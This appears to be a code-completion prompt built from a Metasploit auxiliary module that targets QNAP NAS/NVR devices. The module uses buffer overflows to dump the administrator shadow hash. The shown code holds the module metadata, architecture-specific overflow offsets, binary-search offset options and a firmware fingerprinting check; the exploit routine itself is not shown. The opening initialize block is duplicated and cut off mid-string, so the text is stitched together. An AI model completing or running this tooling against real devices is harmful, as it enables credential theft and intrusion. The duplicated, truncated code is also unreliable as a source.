You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: qnap_backtrace_admin_hash.rb
    path of file: ./repos/metasploit-framework/modules/auxiliary/gather
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'QNAP NAS/NVR Administrator Hash Disclosure',
      'Description'    => %q{
        This module exploits combined heap and stack buffer overflows for QNAP
        NAS and NVR devices to dump the admin (root) shadow hash from memory via
        an overwrite of __libc_argv[0] in the HTTP-header-bound glibc backtrace.

        A binary search is performed to find the correct offset for the BOFs.
        Since the server forks, blind remote exploitation is possible, provided
        the heap does not have ASLR.
      },
      'Author'         => [
        'bashis',      # Vuln/PoC
        'wvu',         # Module
        'Donald Knuth' # Algorithm
      ],
      'References'     => [
        ['URL', 'https://seclists.org/fulldisclosure/2017/Feb/2'],
        ['URL', 'https://en.wikipedia.org/wiki/Binary_search_algorithm']
      ],
      'DisclosureDate' => '2017-01-31',
      'License'        => MSF_LICENSE,
      'Actions'        => [
        ['Automatic', 'Description' => 'Automatic targe
    
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'QNAP NAS/NVR Administrator Hash Disclosure',
      'Description'    => %q{
        This module exploits combined heap and stack buffer overflows for QNAP
        NAS and NVR devices to dump the admin (root) shadow hash from memory via
        an overwrite of __libc_argv[0] in the HTTP-header-bound glibc backtrace.

        A binary search is performed to find the correct offset for the BOFs.
        Since the server forks, blind remote exploitation is possible, provided
        the heap does not have ASLR.
      },
      'Author'         => [
        'bashis',      # Vuln/PoC
        'wvu',         # Module
        'Donald Knuth' # Algorithm
      ],
      'References'     => [
        ['URL', 'https://seclists.org/fulldisclosure/2017/Feb/2'],
        ['URL', 'https://en.wikipedia.org/wiki/Binary_search_algorithm']
      ],
      'DisclosureDate' => '2017-01-31',
      'License'        => MSF_LICENSE,
      'Actions'        => [
        ['Automatic', 'Description' => 'Automatic targeting'],
        ['x86',       'Description' => 'x86 target', offset: 0x16b2],
        ['ARM',       'Description' => 'ARM target', offset: 0x1562]
      ],
      'DefaultAction'  => 'Automatic',
      'DefaultOptions' => {
        'SSL'          => true
      }
    ))

    register_options([
      Opt::RPORT(443),
      OptInt.new('OFFSET_START', [true, 'Starting offset (backtrace)', 2000]),
      OptInt.new('OFFSET_END',   [true, 'Ending offset (no backtrace)', 5000]),
      OptInt.new('RETRIES',      [true, 'Retry count for the attack', 10])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/cgi-bin/authLogin.cgi'
    )

    if res && res.code == 200 && (xml = res.get_xml_document)
      info = []

      %w{modelName version build patch}.each do |node|
        info << xml.at("//#{node}").text
      end

      @target = (xml.at('//platform').text == 'TS-NASX86' ? 'x86' : 'ARM')
      vprint_status("QNAP #{info[0]} #{info[1..-1].join('-')} detected")

      if Rex::Version.new(info[1]) < Rex::Version.new('4.2.3')
        Exploit::CheckCode::Appears
      else
        Exploit::CheckCode::Detected
      end
    else
      Exploit::CheckCode::Safe
    end